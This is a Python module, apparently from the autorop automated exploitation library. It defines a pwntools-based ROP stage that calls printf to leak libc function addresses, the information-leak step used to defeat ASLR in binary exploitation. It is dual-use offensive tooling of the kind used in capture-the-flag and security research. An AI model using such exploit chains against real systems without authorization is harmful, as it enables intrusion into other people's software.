from autorop import PwnState, Pipe, arutil, constants
from pwn import ROP
from typing import Iterable
[docs]class Printf(Pipe):
[docs] def __init__(
self,
short: bool = False,
leak_symbols: Iterable[str] = ["__libc_start_main", "printf"],
):
"""Leak libc addresses using ``printf``.
This returns a callable which opens a new target, and leaks
the addresses of (by default) ``__libc_start_main`` and ``printf`` using ``printf``,
placing them in ``state.leaks``.
Arguments:
short: Whether the attack should be minimised i.e. leak only one address.
leak_symbols: What symbols should be leaked.
"""
super().__init__((short, leak_symbols))
self.leak_symbols = leak_symbols
if short:
self.leak_symbols = [next(iter(leak_symbols))]
[docs] def __call__(self, state: PwnState) -> PwnState:
"""Transform the given state with the results of the leak via ``printf``.
Arguments:
state: The current ``PwnState``.
Returns:
The mutated ``PwnState``, with the following updated
- ``target``: The fresh instance of target from which we got a successful leak.
Hopefully it can still be interacted with.
- ``leaks``: Updated with ``"symbol": address`` pairs for each
function address of libc that was leaked.
"""
def leaker(rop: ROP, address: int) -> ROP:
arutil.align_call(rop, "printf", [address])
assert state._elf is not None
# must send newline to satisfy ``arutil.leak_helper``
arutil.align_call(rop, "printf", [next(state._elf.search(b"\n\x00"))])
return rop
return arutil.leak_helper(state, leaker, self.leak_symbols)